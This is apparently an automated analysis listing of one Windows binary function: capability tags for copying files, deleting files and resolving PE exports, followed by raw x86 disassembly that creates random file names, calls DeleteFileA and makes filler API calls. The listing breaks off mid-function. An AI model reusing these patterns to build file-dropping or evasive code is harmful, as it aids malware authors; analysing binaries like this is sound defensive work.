Function at 0x426bf0
Capabilities:
Copy file
Delete file
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x44f6e3
mov eax, dword fs:[0]
push eax
sub esp, 0x25c
mov eax, dword [0x45f2b0]
xor eax, esp
mov dword [esp + 0x258], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x45f2b0]
xor eax, esp
push eax
lea eax, [esp + 0x270]
mov dword fs:[0], eax
mov eax, dword [esp + 0x280]
mov dword [esp + 0x24], eax
mov ecx, dword [esp + 0x29c]
mov edi, dword [esp + 0x288]
cmp ecx, 0x10
jb 0x426d22
xor ebx, ebx
mov esi, edi
cmp edi, ebx
je 0x426c82
mov eax, edi
cmp ecx, 0x10
jae 0x426c63
lea eax, [esp + 0x288]
cmp eax, esi
ja 0x426c82
mov eax, edi
cmp ecx, 0x10
jae 0x426c75
lea eax, [esp + 0x288]
mov edx, dword [esp + 0x298]
add eax, edx
cmp esi, eax
jbe 0x426c9c
call fcn.00437e82
mov ecx, dword [esp + 0x29c]
mov edx, dword [esp + 0x298]
mov edi, dword [esp + 0x288]
lea eax, [esp + 0x284]
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], esi
mov eax, edi
cmp ecx, 0x10
jae 0x426cb9
lea eax, [esp + 0x288]
lea esi, [eax + edx]
mov dword [esp + 0x20], esi
cmp esi, ebx
je 0x426cea
mov eax, edi
cmp ecx, 0x10
jae 0x426cd2
lea eax, [esp + 0x288]
cmp eax, esi
ja 0x426cea
mov eax, edi
cmp ecx, 0x10
jae 0x426ce4
lea eax, [esp + 0x288]
add eax, edx
cmp esi, eax
jbe 0x426cef
call fcn.00437e82
call fcn.00417a90
mov dword [esp + 0x278], ebx
mov dword [esp + 0x1c], ebx
mov ebp, 0xf
push 4
mov dword [esp + 0x50], ebx
mov dword [esp + 0x54], ebx
call fcn.004392d4
add esp, 4
cmp eax, ebx
je 0x426d30
lea ecx, [esp + 0x54]
mov dword [eax], ecx
jmp 0x426d32
lea esi, [esp + 0x288]
xor ebx, ebx
jmp 0x426c55
xor eax, eax
mov dword [esp + 0x54], eax
mov dword [esp + 0x60], ebx
mov dword [esp + 0x64], ebx
mov dword [esp + 0x68], ebx
mov dword [esp + 0x6c], ebx
mov dword [esp + 0x70], ebx
mov dword [esp + 0x74], ebx
mov dword [esp + 0x78], ebx
mov byte [esp + 0x7c], bl
mov dword [esp + 0x80], ebx
mov dword [esp + 0x84], ebx
mov dword [esp + 0x88], ebx
mov dword [esp + 0x8c], ebx
mov byte [esp + 0x90], bl
mov dword [esp + 0x94], ebx
mov dword [esp + 0x98], ebx
mov dword [esp + 0x9c], ebx
mov dword [esp + 0xa0], ebx
mov byte [esp + 0xa4], bl
push 0x100
lea edx, [esp + 0x200]
push edx
sub esp, 0x1c
mov esi, esp
mov byte [esp + 0x29c], 4
mov dword [esi + 0x18], ebp
lea edi, [esi + 4]
mov dword [esi + 0x14], ebx
mov byte [edi], bl
mov eax, dword [esi + 0x18]
mov dword [esp + 0xd4], esp
cmp eax, 0x10
jb 0x426dd4
mov ecx, dword [edi]
jmp 0x426dd6
mov ecx, edi
cmp ecx, 0x455d30
ja 0x426e11
cmp eax, 0x10
jb 0x426de7
mov ecx, dword [edi]
jmp 0x426de9
mov ecx, edi
mov edx, dword [esi + 0x14]
add edx, ecx
cmp edx, 0x455d30
jbe 0x426e11
cmp eax, 0x10
jb 0x426dfd
mov edi, dword [edi]
push 0x2f
mov eax, 0x455d30
sub eax, edi
push eax
push esi
mov ecx, esi
call fcn.00402d10
jmp 0x426e54
cmp eax, 0x2f
jae 0x426e23
mov ecx, dword [esi + 0x14]
push ecx
push 0x2f
mov ecx, esi
call fcn.00403480
mov ecx, dword [esi + 0x18]
cmp ecx, 0x10
jb 0x426e2f
mov eax, dword [edi]
jmp 0x426e31
mov eax, edi
push 0x2f
push 0x455d30
push ecx
push eax
call fcn.00437feb
add esp, 0x10
cmp dword [esi + 0x18], 0x10
mov dword [esi + 0x14], 0x2f
jb 0x426e51
mov edi, dword [edi]
mov byte [edi + 0x2f], bl
lea esi, [esp + 0x1ac]
call fcn.004014c0
mov byte [esp + 0x280], 5
call fcn.00401770
mov edi, pe_nt_image_headers32
mov byte [esp + 0x27c], 6
cmp dword [eax + 0x18], edi
jb 0x426e84
mov eax, dword [eax + 4]
jmp 0x426e87
add eax, 4
push eax
lea edx, [esp + 0x184]
push edx
call fcn.0040fc20
mov ecx, dword [esp + 0x20]
mov byte [esp + 0x278], 7
mov edx, dword [esp + 0x2c]
mov esi, dword [esp + 0x28]
push edx
push esi
push ecx
lea ecx, [esp + 0x290]
push ecx
push edx
push esi
push eax
lea edx, [esp + 0x68]
push edx
xor ecx, ecx
call fcn.00410da0
movzx esi, al
add esp, 0x20
lea eax, [esp + 0x17c]
push eax
mov byte [esp + 0x27c], 6
call fcn.0040fd10
cmp dword [esp + 0x214], edi
jb 0x426ef7
mov ecx, dword [esp + 0x200]
push ecx
call fcn.00437f8b
add esp, 4
mov dword [esp + 0x214], ebp
mov dword [esp + 0x210], ebx
mov byte [esp + 0x200], bl
cmp dword [esp + 0x1d8], edi
jb 0x426f25
mov edx, dword [esp + 0x1c4]
push edx
call fcn.00437f8b
add esp, 4
mov dword [esp + 0x1d8], ebp
mov dword [esp + 0x1d4], ebx
mov byte [esp + 0x1c4], bl
cmp dword [esp + 0x1bc], edi
jb 0x426f53
mov eax, dword [esp + 0x1a8]
push eax
call fcn.00437f8b
add esp, 4
mov dword [esp + 0x1bc], ebp
mov dword [esp + 0x1b8], ebx
mov byte [esp + 0x1a8], bl
cmp dword [esp + 0x1a0], edi
jb 0x426f81
mov ecx, dword [esp + 0x18c]
push ecx
call fcn.00437f8b
add esp, 4
cmp esi, ebx
je 0x427847
mov ecx, dword [esp + 0x64]
mov esi, dword [esp + 0x60]
sub ecx, esi
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 4
je 0x426fdb
mov byte [esp + 0x278], bl
cmp esi, ebx
je 0x426fbd
push esi
call fcn.00437f8b
add esp, 4
mov ecx, dword [esp + 0x54]
push ecx
mov dword [esp + 0x64], ebx
mov dword [esp + 0x68], ebx
mov dword [esp + 0x6c], ebx
call fcn.00437f8b
add esp, 4
jmp 0x427830
push ebx
call fcn.00439283
mov dword [esp + 0x27c], 4
mov ecx, dword [esp + 0x68]
sub ecx, dword [esp + 0x64]
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
add esp, 4
cmp eax, 1
ja 0x427016
lea eax, [esp + 0x94]
jmp 0x42701d
mov eax, dword [esp + 0x60]
add eax, 0x14
lea ecx, [esp + 0x30]
call fcn.0040fc00
push 0xffffffffffffffff
mov byte [esp + 0x27c], 0xa
push ebx
lea edx, [esp + 0x38]
push edx
lea ecx, [esp + 0x25c]
mov dword [esp + 0x274], ebp
mov dword [esp + 0x270], ebx
mov byte [esp + 0x260], bl
call fcn.00402d10
cmp dword [esp + 0x48], edi
jb 0x42706a
mov eax, dword [esp + 0x34]
push eax
call fcn.00437f8b
add esp, 4
mov dword [esp + 0x48], ebp
mov dword [esp + 0x44], ebx
mov byte [esp + 0x34], bl
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push ebx
shr esi, 0x18
call fcn.00439283
imul eax, eax, 0x63
add esp, 4
cmp esi, eax
jbe 0x427098
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [esp + 0x278], 0xc
mov ecx, dword [esp + 0x64]
sub ecx, dword [esp + 0x60]
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 2
ja 0x4270ca
lea eax, [esp + 0x94]
jmp 0x4270d1
mov eax, dword [esp + 0x60]
add eax, 0x28
lea ecx, [esp + 0x1fc]
call fcn.0040fc00
push 0xffffffffffffffff
push ebx
lea ecx, [esp + 0x204]
mov byte [esp + 0x280], 0xf
push ecx
lea ecx, [esp + 0x1ec]
mov dword [esp + 0x204], ebp
mov dword [esp + 0x200], ebx
mov byte [esp + 0x1f0], bl
call fcn.00402d10
mov byte [esp + 0x278], 0x11
cmp dword [esp + 0x214], edi
jb 0x427132
mov edx, dword [esp + 0x200]
push edx
call fcn.00437f8b
add esp, 4
mov ecx, dword [esp + 0x64]
sub ecx, dword [esp + 0x60]
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [esp + 0x214], ebp
mov dword [esp + 0x210], ebx
mov byte [esp + 0x200], bl
cmp eax, 3
ja 0x42716e
lea eax, [esp + 0x94]
jmp 0x427175
mov eax, dword [esp + 0x60]
add eax, 0x3c
lea ecx, [esp + 0x30]
call fcn.0040fc00
push 0xffffffffffffffff
mov byte [esp + 0x27c], 0x12
push ebx
lea eax, [esp + 0x38]
push eax
lea ecx, [esp + 0x240]
mov dword [esp + 0x258], ebp
mov dword [esp + 0x254], ebx
mov byte [esp + 0x244], bl
call fcn.00402d10
mov byte [esp + 0x278], 0x14
cmp dword [esp + 0x48], edi
jb 0x4271ca
mov ecx, dword [esp + 0x34]
push ecx
call fcn.00437f8b
add esp, 4
lea edx, [esp + 0xc4]
mov edi, 0xf
push edx
mov dword [esp + 0x4c], edi
mov dword [esp + 0x48], ebx
mov byte [esp + 0x38], bl
mov dword [esp + 0xc0], ebx
mov dword [esp + 0xc4], ebx
call fcn.0040f9c0
mov dword [esp + 0xdc], ebx
mov dword [esp + 0xe0], ebx
mov dword [esp + 0xe4], ebx
mov dword [esp + 0xe8], ebx
mov byte [esp + 0xec], bl
mov dword [esp + 0xf0], ebx
mov dword [esp + 0xf4], ebx
mov dword [esp + 0xf8], ebx
mov dword [esp + 0xfc], ebx
mov byte [esp + 0x100], bl
mov dword [esp + 0x104], ebx
mov dword [esp + 0x108], ebx
mov dword [esp + 0x10c], ebx
mov dword [esp + 0x110], ebx
mov byte [esp + 0x114], bl
push ebx
push 0x100
sub esp, 0x1c
mov byte [esp + 0x29c], 0x15
mov esi, esp
mov dword [esi + 0x18], edi
lea edi, [esi + 4]
mov dword [esi + 0x14], ebx
mov byte [edi], bl
mov eax, dword [esi + 0x18]
lea ebp, [esp + 0x220]
mov dword [esp + 0xd4], esp
cmp eax, 0x10
jb 0x427297
mov ecx, dword [edi]
jmp 0x427299
mov ecx, edi
cmp ecx, 0x455d60
ja 0x4272d4
cmp eax, 0x10
jb 0x4272aa
mov ecx, dword [edi]
jmp 0x4272ac
mov ecx, edi
mov edx, dword [esi + 0x14]
add edx, ecx
cmp edx, 0x455d60
jbe 0x4272d4
cmp eax, 0x10
jb 0x4272c0
mov edi, dword [edi]
push 0x1f
mov eax, 0x455d60
sub eax, edi
push eax
push esi
mov ecx, esi
call fcn.00402d10
jmp 0x427317
cmp eax, 0x1f
jae 0x4272e6
mov ecx, dword [esi + 0x14]
push ecx
push 0x1f
mov ecx, esi
call fcn.00403480
mov ecx, dword [esi + 0x18]
cmp ecx, 0x10
jb 0x4272f2
mov eax, dword [edi]
jmp 0x4272f4
mov eax, edi
push 0x1f
push 0x455d60
push ecx
push eax
call fcn.00437feb
add esp, 0x10
cmp dword [esi + 0x18], 0x10
mov dword [esi + 0x14], 0x1f
jb 0x427314
mov edi, dword [edi]
mov byte [edi + 0x1f], bl
lea esi, [esp + 0x1ac]
call fcn.004014c0
mov edx, ebp
mov ecx, eax
mov byte [esp + 0x280], 0x16
call fcn.00401640
mov byte [esp + 0x280], 0x17
cmp dword [eax + 0x18], 0x10
jb 0x427347
mov eax, dword [eax + 4]
jmp 0x42734a
add eax, 4
push eax
lea edx, [esp + 0xc0]
push edx
call fcn.0040fc20
push eax
lea eax, [esp + 0xc4]
push eax
lea edi, [esp + 0x25c]
mov byte [esp + 0x284], 0x18
call fcn.00410a60
add esp, 0xc
lea ecx, [esp + 0xb4]
push ecx
movzx edi, al
mov byte [esp + 0x27c], 0x17
call fcn.0040fd10
cmp dword [esp + 0x214], 0x10
jb 0x4273aa
mov edx, dword [esp + 0x200]
push edx
call fcn.00437f8b
add esp, 4
mov ebp, 0xf
lea esi, [esp + 0x188]
mov dword [esp + 0x214], ebp
mov dword [esp + 0x210], ebx
mov byte [esp + 0x200], bl
mov byte [esp + 0x278], 0x15
call fcn.00429620
call fcn.00417cd0
test eax, eax
je 0x427411
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call dword [sym.imp.USER32.dll_GetActiveWindow]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
call dword [sym.imp.USER32.dll_GetFocus]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
cmp edi, ebx
jne 0x427517
mov eax, dword [esp + 0xd0]
cmp eax, ebx
je 0x42742d
push eax
call fcn.00437f8b
add esp, 4
mov eax, dword [esp + 0xc4]
push eax
mov dword [esp + 0xd4], ebx
mov dword [esp + 0xd8], ebx
mov dword [esp + 0xdc], ebx
call fcn.00437f8b
mov esi, pe_nt_image_headers32
add esp, 4
cmp dword [esp + 0x24c], esi
jb 0x427470
mov ecx, dword [esp + 0x238]
push ecx
call fcn.00437f8b
add esp, 4
mov dword [esp + 0x24c], ebp
mov dword [esp + 0x248], ebx
mov byte [esp + 0x238], bl
cmp dword [esp + 0x1f8], esi
jb 0x42749e
mov edx, dword [esp + 0x1e4]
push edx
call fcn.00437f8b
add esp, 4
mov dword [esp + 0x1f8], ebp
mov dword [esp + 0x1f4], ebx
mov byte [esp + 0x1e4], bl
cmp dword [esp + 0x268], esi
jb 0x4274cc
mov eax, dword [esp + 0x254]
push eax
call fcn.00437f8b
add esp, 4
mov byte [esp + 0x278], bl
mov eax, dword [esp + 0x60]
mov dword [esp + 0x268], ebp
mov dword [esp + 0x264], ebx
mov byte [esp + 0x254], bl
cmp eax, ebx
je 0x4274f9
push eax
call fcn.00437f8b
add esp, 4
mov ecx, dword [esp + 0x54]
push ecx
mov dword [esp + 0x64], ebx
mov dword [esp + 0x68], ebx
mov dword [esp + 0x6c], ebx
call fcn.00437f8b
add esp, 4
jmp 0x427830
mov ecx, dword [esp + 0xd4]
mov esi, dword [esp + 0xd0]
sub ecx, esi
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 2
je 0x427638
cmp esi, ebx
je 0x42754e
push esi
call fcn.00437f8b
add esp, 4
mov ecx, dword [esp + 0xc4]
push ecx
mov dword [esp + 0xd4], ebx
mov dword [esp + 0xd8], ebx
mov dword [esp + 0xdc], ebx
call fcn.00437f8b
mov esi, pe_nt_image_headers32
add esp, 4
cmp dword [esp + 0x24c], esi
jb 0x427591
mov edx, dword [esp + 0x238]
push edx
call fcn.00437f8b
add esp, 4
mov dword [esp + 0x24c], ebp
mov dword [esp + 0x248], ebx
mov byte [esp + 0x238], bl
cmp dword [esp + 0x1f8], esi
jb 0x4275bf
mov eax, dword [esp + 0x1e4]
push eax
call fcn.00437f8b
add esp, 4
mov dword [esp + 0x1f8], ebp
mov dword [esp + 0x1f4], ebx
mov byte [esp + 0x1e4], bl
cmp dword [esp + 0x268], esi
jb 0x4275ed
mov ecx, dword [esp + 0x254]
push ecx
call fcn.00437f8b
add esp, 4
mov byte [esp + 0x278], bl
mov eax, dword [esp + 0x60]
mov dword [esp + 0x268], ebp
mov dword [esp + 0x264], ebx
mov byte [esp + 0x254], bl
cmp eax, ebx
je 0x42761a
push eax
call fcn.00437f8b
add esp, 4
mov edx, dword [esp + 0x54]
push edx
mov dword [esp + 0x64], ebx
mov dword [esp + 0x68], ebx
mov dword [esp + 0x6c], ebx
call fcn.00437f8b
add esp, 4
jmp 0x427830
mov edi, 1
lea esi, [esp + 0xbc]
call fcn.0040fbb0
lea ecx, [esp + 0x1fc]
call fcn.0040fc00
push 0xffffffffffffffff
mov byte [esp + 0x27c], 0x19
push ebx
lea eax, [esp + 0x204]
push eax
lea ecx, [esp + 0x224]
mov dword [esp + 0x23c], ebp
mov dword [esp + 0x238], ebx
mov byte [esp + 0x228], bl
call fcn.00402d10
mov byte [esp + 0x278], 0x1b
cmp dword [esp + 0x214], 0x10
jb 0x4276ab
mov ecx, dword [esp + 0x200]
push ecx
call fcn.00437f8b
add esp, 4
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0xcc], esp
push 0xffffffffffffffff
push ebx
lea edx, [esp + 0x258]
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], ebx
push edx
mov dword [esp + 0x23c], ebp
mov dword [esp + 0x238], ebx
mov byte [esp + 0x228], bl
mov byte [ecx + 4], bl
call fcn.00402d10
sub esp, 0x1c
mov ecx, esp
mov byte [esp + 0x2b0], 0x1c
mov dword [esp + 0x1bc], esp
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0x220]
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], ebx
push eax
mov byte [ecx + 4], bl
call fcn.00402d10
sub esp, 0x1c
mov ecx, esp
mov byte [esp + 0x2cc], 0x1d
mov dword [esp + 0x100], esp
push 0xffffffffffffffff
push ebx
lea edx, [esp + 0x274]
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], ebx
push edx
mov byte [ecx + 4], bl
call fcn.00402d10
sub esp, 0x1c
mov ecx, esp
mov byte [esp + 0x2e8], 0x1e
mov dword [esp + 0x88], esp
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0x2c8]
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], ebx
push eax
mov byte [ecx + 4], bl
call fcn.00402d10
mov ecx, dword [esp + 0x94]
push ecx
mov byte [esp + 0x2ec], 0x1b
call fcn.004283e0
lea eax, [esp + 0x4c]
call fcn.0042a690
mov edi, eax
lea eax, [esp + 0x4c]
call fcn.0042a610
add edi, eax
lea esi, [esp + 0x28]
call fcn.004037c0
mov eax, dword [esp + 0x28]
cmp eax, 0xfffffffc
je 0x4277bd
cmp eax, ebx
je 0x4277b8
lea edx, [esp + 0x284]
cmp eax, edx
je 0x4277bd
call fcn.00437e82
mov eax, dword [esp + 0x2c]
cmp eax, dword [esp + 0x20]
jae 0x42787a
call fcn.00435140
sub eax, 1
jne 0x4277df
call fcn.00419f60
call fcn.004196e0
lea ecx, [esp + 0x218]
call fcn.00402ba0
lea esi, [esp + 0xbc]
call fcn.0040f950
lea ecx, [esp + 0x234]
call fcn.00402ba0
lea ecx, [esp + 0x1e0]
call fcn.00402ba0
lea ecx, [esp + 0x250]
call fcn.00402ba0
lea esi, [esp + 0x4c]
mov byte [esp + 0x278], bl
call fcn.0040f950
mov ebp, 0xf
mov eax, dword [esp + 0x1c]
inc eax
mov dword [esp + 0x1c], eax
cmp eax, 0x1e
jb 0x426d04
jmp 0x4278cb
mov byte [esp + 0x278], bl
mov eax, dword [esp + 0x60]
cmp eax, ebx
je 0x42785f
push eax
call fcn.00437f8b
add esp, 4
mov ecx, dword [esp + 0x54]
push ecx
mov dword [esp + 0x64], ebx
mov dword [esp + 0x68], ebx
mov dword [esp + 0x6c], ebx
call fcn.00437f8b
add esp, 4
jmp 0x4278d0
lea ecx, [esp + 0x218]
call fcn.00402ba0
lea esi, [esp + 0xbc]
call fcn.0040f950
lea ecx, [esp + 0x234]
call fcn.00402ba0
lea ecx, [esp + 0x1e0]
call fcn.00402ba0
lea ecx, [esp + 0x250]
call fcn.00402ba0
lea esi, [esp + 0x4c]
mov byte [esp + 0x278], bl
call fcn.0040f950
mov ebp, 0xf
mov edi, pe_nt_image_headers32
lea edx, [esp + 0x124]
push edx
mov dword [esp + 0x120], ebx
mov dword [esp + 0x124], ebx
call fcn.0040f9c0
mov dword [esp + 0x13c], ebx
mov dword [esp + 0x140], ebx
mov dword [esp + 0x144], ebx
mov dword [esp + 0x148], ebx
mov byte [esp + 0x14c], bl
mov dword [esp + 0x150], ebx
mov dword [esp + 0x154], ebx
mov dword [esp + 0x158], ebx
mov dword [esp + 0x15c], ebx
mov byte [esp + 0x160], bl
mov dword [esp + 0x164], ebx
mov dword [esp + 0x168], ebx
mov dword [esp + 0x16c], ebx
mov dword [esp + 0x170], ebx
mov byte [esp + 0x174], bl
push ebx
push 0x100
lea eax, [esp + 0x1e8]
push eax
sub esp, 0x1c
mov byte [esp + 0x2a0], 0x1f
mov ecx, esp
mov dword [esp + 0x40], esp
push 0x23
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], ebx
push 0x455d80
mov byte [ecx + 4], bl
call fcn.00403090
lea esi, [esp + 0x74]
call fcn.004014c0
mov byte [esp + 0x284], 0x20
call fcn.00401580
mov byte [esp + 0x280], 0x21
cmp dword [eax + 0x18], edi
jb 0x4279b0
mov ebp, dword [eax + 4]
jmp 0x4279b3
lea ebp, [eax + 4]
mov ecx, dword [esp + 0x2c]
add ecx, 0x1d8
push ecx
lea edx, [esp + 0x3c]
push edx
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x44], esp
push 3
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push 0x455da4
mov byte [ecx + 4], bl
call fcn.00403090
lea esi, [esp + 0x1b4]
call fcn.004014c0
mov byte [esp + 0x288], 0x22
call fcn.004018b0
mov byte [esp + 0x284], 0x23
cmp dword [eax + 0x18], 0x10
jb 0x427a11
mov eax, dword [eax + 4]
jmp 0x427a14
add eax, 4
mov ecx, eax
lea edi, [esp + 0x208]
call fcn.0042d360
add esp, 4
push eax
mov edi, ebp
lea esi, [esp + 0x224]
mov byte [esp + 0x284], 0x24
call fcn.00405920
add esp, 4
mov byte [esp + 0x280], 0x25
cmp dword [eax + 0x18], 0x10
jb 0x427a52
mov eax, dword [eax + 4]
jmp 0x427a55
add eax, 4
push eax
lea eax, [esp + 0xc0]
push eax
call fcn.0040fc20
push eax
lea ecx, [esp + 0x124]
push ecx
lea edi, [esp + 0x290]
mov byte [esp + 0x284], 0x26
call fcn.00410a60
add esp, 0xc
lea edx, [esp + 0xb4]
push edx
movzx edi, al
mov byte [esp + 0x27c], 0x25
call fcn.0040fd10
mov esi, pe_nt_image_headers32
cmp dword [esp + 0x230], esi
jb 0x427ab9
mov eax, dword [esp + 0x21c]
push eax
call fcn.00437f8b
add esp, 4
mov ebp, 0xf
mov dword [esp + 0x230], ebp
mov dword [esp + 0x22c], ebx
mov byte [esp + 0x21c], bl
cmp dword [esp + 0x214], esi
jb 0x427aec
mov ecx, dword [esp + 0x200]
push ecx
call fcn.00437f8b
add esp, 4
mov dword [esp + 0x214], ebp
mov dword [esp + 0x210], ebx
mov byte [esp + 0x200], bl
cmp dword [esp + 0x48], esi
jb 0x427b14
mov edx, dword [esp + 0x34]
push edx
call fcn.00437f8b
add esp, 4
lea esi, [esp + 0x188]
mov dword [esp + 0x48], ebp
mov dword [esp + 0x44], ebx
mov byte [esp + 0x34], bl
call fcn.00429620
cmp dword [esp + 0x1f8], 0x10
jb 0x427b46
mov eax, dword [esp + 0x1e4]
push eax
call fcn.00437f8b
add esp, 4
lea esi, [esp + 0x4c]
mov dword [esp + 0x1f8], ebp
mov dword [esp + 0x1f4], ebx
mov byte [esp + 0x1e4], bl
mov byte [esp + 0x278], 0x1f
call fcn.00429620
cmp edi, ebx
je 0x42835e
mov ecx, dword [esp + 0x134]
sub ecx, dword [esp + 0x130]
mov eax, 0x66666667
imul ecx
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
cmp ecx, 2
jne 0x42835e
lea edi, [ecx - 1]
lea esi, [esp + 0x11c]
call fcn.0040fbb0
lea ecx, [esp + 0x218]
call fcn.0040fc00
push 0xffffffffffffffff
mov byte [esp + 0x27c], 0x27
push ebx
lea edx, [esp + 0x220]
push edx
lea ecx, [esp + 0x208]
mov dword [esp + 0x220], ebp
mov dword [esp + 0x21c], ebx
mov byte [esp + 0x20c], bl
call fcn.00402d10
mov byte [esp + 0x278], 0x29
cmp dword [esp + 0x230], 0x10
jb 0x427c0d
mov eax, dword [esp + 0x21c]
push eax
call fcn.00437f8b
add esp, 4
lea ecx, [esp + 0x234]
push ecx
mov dword [esp + 0x234], 0xf
mov dword [esp + 0x230], ebx
mov byte [esp + 0x220], bl
call fcn.0040f9c0
mov ebp, dword [esp + 0x24]
add ebp, 0x2d8
mov byte [esp + 0x278], 0x2a
mov ecx, dword [ebp + 0x10]
sub ecx, dword [ebp + 0xc]
mov eax, 0xea0ea0eb
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
xor esi, esi
shr eax, 0x1f
add eax, edx
mov dword [esp + 0x1c], esi
je 0x427ca4
jmp 0x427c70
lea ebx, [esp + 0x1c]
lea edi, [esp + 0x234]
call fcn.0042a780
mov ecx, dword [ebp + 0x10]
sub ecx, dword [ebp + 0xc]
mov eax, 0xea0ea0eb
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
inc esi
add ecx, edx
mov dword [esp + 0x1c], esi
cmp esi, ecx
jb 0x427c70
xor ebx, ebx
call fcn.00417a20
sub eax, 1
jne 0x427cb8
call fcn.004197b0
call fcn.00419940
mov esi, dword [esp + 0x244]
sub esi, dword [esp + 0x240]
xor edi, edi
sar esi, 2
cmp esi, ebx
jbe 0x427d18
nop
call fcn.00437f69
xor edx, edx
div esi
lea eax, [esp + 0x234]
mov ebx, edx
call fcn.0042a700
mov esi, eax
mov ebx, edi
lea eax, [esp + 0x234]
call fcn.0042a700
mov ecx, eax
mov eax, esi
call fcn.0042d1a0
mov esi, dword [esp + 0x244]
sub esi, dword [esp + 0x240]
inc edi
sar esi, 2
cmp edi, esi
jb 0x427cd0
xor ebx, ebx
push ebx
call fcn.00439283
add esp, 4
call fcn.00417cd0
sub eax, 1
jne 0x427d35
call fcn.004197b0
call fcn.004199d0
mov edx, dword [esp + 0x244]
sub edx, dword [esp + 0x240]
xor esi, esi
sar edx, 2
test edx, edx
jbe 0x428346
mov ebx, esi
lea eax, [esp + 0x234]
call fcn.0042a700
mov eax, dword [eax]
push eax
mov eax, ebp
call fcn.0042a130
cmp dword [eax + 0x7c], 0
je 0x427d89
mov ecx, dword [esp + 0x244]
sub ecx, dword [esp + 0x240]
inc esi
sar ecx, 2
cmp esi, ecx
jb 0x427d50
jmp 0x428344
mov edx, dword [esp + 0x24]
add edx, 0x19c
push edx
lea ecx, [esp + 0x1e4]
mov dword [esp + 0x24], esi
call fcn.00402b70
mov bl, 0x2b
mov byte [esp + 0x278], bl
mov eax, dword [esp + 0x1f4]
test eax, eax
je 0x427ddf
lea edi, [eax - 1]
lea eax, [esp + 0x1e0]
call fcn.00405190
cmp byte [eax], 0x5c
je 0x427ddf
push 0x5c
mov eax, 1
lea edi, [esp + 0x1e4]
call fcn.00412ba0
call fcn.004179f0
sub eax, 1
jne 0x427df3
call fcn.00406fe0
call fcn.00419a00
mov esi, 8
call fcn.00437f69
and eax, 0x80000001
jns 0x427e09
dec eax
or eax, 0xfffffffe
inc eax
jne 0x427e20
call fcn.00437f69
cdq
mov ecx, 0x19
idiv ecx
movsx eax, dl
add eax, 0x61
jmp 0x427e33
call fcn.00437f69
cdq
mov ecx, 0x19
idiv ecx
movsx eax, dl
add eax, 0x41
push eax
mov eax, 1
lea edi, [esp + 0x1e4]
call fcn.00412ba0
sub esi, 1
jne 0x427df8
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x34], esp
push 4
mov ecx, 0x455da8
lea edi, [esp + 0x238]
call fcn.00404250
lea esi, [esp + 0x68]
call fcn.004014c0
mov edx, edi
mov ecx, eax
mov byte [esp + 0x278], 0x2c
call fcn.00401640
mov ecx, eax
mov byte [esp + 0x278], 0x2d
call fcn.00402f50
lea edx, [esp + 0x1e0]
push edx
mov edx, eax
call fcn.00405b90
mov ecx, edi
call fcn.00402ba0
mov byte [esp + 0x278], bl
call fcn.00429620
lea eax, [esp + 0x250]
push eax
call fcn.0040f9c0
mov byte [esp + 0x278], 0x2e
call fcn.00417b90
sub eax, 1
jne 0x427eda
call fcn.00419f60
call fcn.00401440
call fcn.00417b00
test eax, eax
je 0x427ee8
call fcn.00406fe0
lea ecx, [esp + 0x30]
push ecx
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x38], esp
push 0xb
mov ecx, 0x455db0
call fcn.00404250
lea esi, [esp + 0x6c]
call fcn.004014c0
mov byte [esp + 0x27c], 0x2f
call fcn.00401580
mov ecx, eax
mov byte [esp + 0x278], 0x30
call fcn.00402f50
push eax
lea ecx, [esp + 0x21c]
call fcn.00402b30
lea edx, [esp + 0x218]
push edx
lea ebx, [esp + 0x254]
mov byte [esp + 0x27c], 0x31
call fcn.00429f20
lea ecx, [esp + 0x218]
call fcn.00402ba0
lea ecx, [esp + 0x30]
call fcn.00402ba0
mov byte [esp + 0x278], 0x2e
call fcn.00429620
lea eax, [esp + 0x30]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x38], esp
push 5
mov ecx, 0x455dbc
call fcn.00404250
lea esi, [esp + 0x6c]
call fcn.004014c0
mov byte [esp + 0x27c], 0x32
call fcn.004018b0
mov ecx, eax
mov byte [esp + 0x278], 0x33
call fcn.00402f50
push eax
lea ecx, [esp + 0x21c]
call fcn.00402b30
lea ecx, [esp + 0x218]
push ecx
mov byte [esp + 0x27c], 0x34
call fcn.00429f20
lea ecx, [esp + 0x218]
call fcn.00402ba0
lea ecx, [esp + 0x30]
call fcn.00402ba0
mov ebx, 0x2e
mov byte [esp + 0x278], bl
call fcn.00429620
call fcn.00435140
test eax, eax
je 0x42800c
call fcn.00406c60
call fcn.00419a70
sub esp, 0x18
mov edx, esp
